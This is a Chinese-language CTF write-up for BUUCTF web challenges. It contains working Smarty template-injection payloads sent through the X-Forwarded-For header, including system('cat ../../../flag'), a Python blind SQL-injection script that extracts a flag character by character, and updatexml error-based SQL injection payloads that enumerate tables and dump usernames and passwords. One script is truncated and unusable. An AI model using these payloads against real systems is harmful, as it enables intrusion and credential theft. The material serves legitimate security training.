BUUCTF secret ip hack world hard sql
首先是检查一下元素发现对应的三个.php页面,没有什么价值然后看到一句绿色注释“我是怎么知道你的ip的”联想到上次做的一道题
那道题要求是本地登陆,使用到了x-forwarded-for伪造ip,xff就是用来识别连接到web服务器的http请求头字段,所以知道这道题是和
xff有点关系,之后直接在burpsuit抓包

测试了一下,是smarty注入
smarty注入payload
{if phpinfo()}{/if}
{if system('ls')}{/if}
{ readfile('/flag') }
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if} #本题payload
要注意的是测试的地方是在header那里修改。

其实的话要使用更简单的方法的话是不用抓包,直接f12在网络那里发送一个添加了xff头的请求根据返回的界面测试舒服的xff头包含的语句。
————————————————————————————————————————————————————————————————————————————————————————————————
输入1 and exists(select flag from flag);
发现也被过滤了。。。。。
联合查询也不行,我能想到的函数也不行。。。。。
整理一下,现在能够查出id为1,2的数据,还有知道一张flag的表和flag的字段,只是不知道是不是还有其他的表,也就是不知道现在的位置是不是在flag这张表里面,要不是直接看出了这是sql注入我都想直接使用dirsearch扫一下了,有点好玩。
查了一下,发现我的思路是有问题的,下面重新来过。
先是联合注入,union被过滤了。然后是基于网页的报错注入,and,or,updatexml被过滤了。布尔注入和时间注入,and,or被过滤了,可以使用fuzz测试(模糊测试),测试出哪些字符是被过滤的。
听说,,看到说,好像是有,值得试一下的/* !union*/可以绕过对union的过滤。
然后大佬就是写了一个脚本:
import requests
url='http://1183fbaf-e4cf-4ab3-a1d5-58275380523c.node3.buuoj.cn/index.php'
flag=''
for x in range(1,50):
high=137
low=32
'''
32,127中间夹杂的是我们平时用到的字符
'''
mid=(low+high)//2
#使用二分法快速获取结果
while high>low:
#获取数据库名 ctftraining
payload="(ascii(substr((select(flag)from(flag)),%d,1))>%d)"%(x,mid)
data={
"id":payload
}
response=requests.post(url,data=data)
if 'Hello' in response.text:
low=mid+1
else:
high=mid
mid=(high+low)//2
flag+=chr(int(mid))
print (flag)
然后我直接在Windows命令行跑出来了,,害自己还是什么都不会啊,羡慕会写脚本,太强了。。。。不过写脚本使用到的是python,还有vscode,命令行也是可以使用的,环境也是没问题的,这就提示我。。。
我觉得我不该那么懒散下去了。。。
我好像高兴太早了,之后出来的flag居然是不对的,害,看样子脚本这种东西啊,还是要自己写的才可靠。最后找的脚本是:
import requests
url = "http://1183fbaf-e4cf-4ab3-a1d5-58275380523c.node3.buuoj.cn/index.php" res = ""
print(res)
有件事要注意就是在一个循环结束后,要输出flag,要隔开两行,不然的话会报错,还有一点py2和py3的输出函数格式不一样。
下面是几个我跑出来的flag:
flag{cf318406-p487-4db6-89ba-98364bf53091} flag{cf318406-e487-4db6-89ba-98364bf53091}
buuctf hard sql
使用get的方式请求参数:
username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))%23&password=21
有意思的是得到的只是左边一部分的flag,接下来还要在查一下后面的flag,这里就要使用到right()语句
还有left()语句,使用的道理一样
username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=21
下面就是一步步的步骤:
username=admin'or(updatexml(1,concat(0x7e,version(),0x7e),1))%23&password=21
基于报错的xpath注入,updatexml函数的使用,参数的方式,构造错误的格式,sql语句的嵌入,concat函数的拼接,%23的URL编码。
返回的结果是数据库版本
username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=21
返回的结果是数据库名geek
username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=21
select .... from.....句式,
分组之后group_ocncat()使用
where......like......句式
得到的结果是表的名字。
username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=21
查字段
MySQL的information_schema库中有个COLUMNS表,里面记录了mysql所有库中所有表的字段信息,
table_name是表名
返回的结果是id username passwd
之后差字段内容了:
username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))%23&password=21
username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=21